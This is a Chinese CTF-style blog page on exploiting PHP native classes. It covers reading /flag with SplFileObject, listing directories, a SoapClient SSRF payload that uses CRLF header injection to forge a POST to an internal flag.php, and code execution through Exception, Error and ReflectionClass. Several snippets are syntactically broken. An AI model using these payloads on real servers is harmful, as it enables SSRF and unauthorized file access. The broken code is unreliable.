当前位置: 首页 > news >正文

php原生类的使用

php原生类

读取文件

可使用:SplFileObject
用法:

<?php$f=new SplFileObject('/flag') //读取flag文件
}
?>

遍历目录

可使用:DirectoryIteratorRecursiveDirectoryIteratorFilesystemIterator
用法:

<?php$f=new DirectoryIterator('/') //扫描根目录 foreach($dir as $f) {echo($f . '<br>');
}
?>

RecursiveDirectoryIteratorFilesystemIterator类同上
FilesystemIterator不会输出..

访问服务器的类(SSRF可利用)

可使用:SoapClient
代码解析

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "dwzzzzzzzzzz")); //构造POST请求,uri参数用于在SOAP消息中标识XML元素和属性的来源或含义。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //调用不存在函数触发__call

使用原生类进行代码执行

使用异常处理类Exception执行代码

echo new Exception(phpinfo());

使用CachingIterator类执行代码

echo new CachingIterator(phpinfo());

使用Error类执行代码

echo new Error(phpinfo());

使用DirectoryIterator类执行代码

echo new DirectoryIterator(phpinfo());

反射类的使用

ReflectionClass

ReflectionClass类可以获取类的名称、父类、接口、方法、属性

<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>
利用ReflectionClass 执行命令
<?phpecho new ReflectionClass(phpinfo());
?>
http://www.rkmt.cn/news/30681.html

相关文章:

  • 2025 年 10 月仿石漆厂家最新推荐,精准检测与稳定性能深度解析
  • 下午选歌
  • 分治算法在查找第k小元素中的应用与分析
  • 2025年10月中国装饰公司对比榜:十家口碑与实力排行
  • 2025年10月电竞显示器品牌评价榜:五强对比与选购要点
  • 2025年10月食品展会推荐榜:NHNE领衔五大展会对比评测
  • 2025年10月连锁酒店排行榜推荐:丽柏丽怡领衔对比评测榜
  • 关于克服 libwebsockets 库编译时遇到的困难的实用的方法:
  • 2025年10月暖风机口碑榜:主流机型对比与选购避坑指南
  • LazyLLM学习:使用提示词工程+RAG创建AI女友
  • 详细介绍:K8s StorageClass配置实战:从入门到精通
  • 2025 年 10 月铜材切削液厂家最新推荐,精准检测与稳定性能深度解析
  • 实用指南:proxy_pass和location匹配路径的拼接逻辑
  • 【System Beats!】第四章 处理器体系结构
  • 申威 SW-64 架构安装 MySQL 8.0.18 (KY10系统 RPM包) 步骤指南
  • java learning
  • 【11】C实战篇——C语言 【scanf、printf、fprintf、fscanf、sprintf、sscanf】的区别 - 详解
  • Correlation inequality小记
  • 实用指南:TimescaleDB 超表 物理表解释
  • 记力扣2271.毯子覆盖的最多白色砖块数 练习理解 - 详解
  • 精通-Pandas-探索性分析-全-
  • 精通-HTML5-表单-全-
  • ABC429F Shortest Path Query 题解
  • 苏维埃日报08.高三生福音?大屏课表软件ClassIsland助你度过高三
  • 创建平面设计网站-全-
  • 2025年靠谱的方形冷却塔,横流式冷却塔用户口碑最好的厂家榜
  • 2025年知名的薄型液压缸,多级液压缸实力厂家TOP推荐榜
  • 2025年优质的定量包装机,自动吨袋包装机厂家最新用户好评榜
  • 2025年优质的移动盘式过滤机,真空过滤机最新TOP品牌厂家排行
  • 2025年优质的涤纶单层网布,鞋材单层网布厂家最新推荐权威榜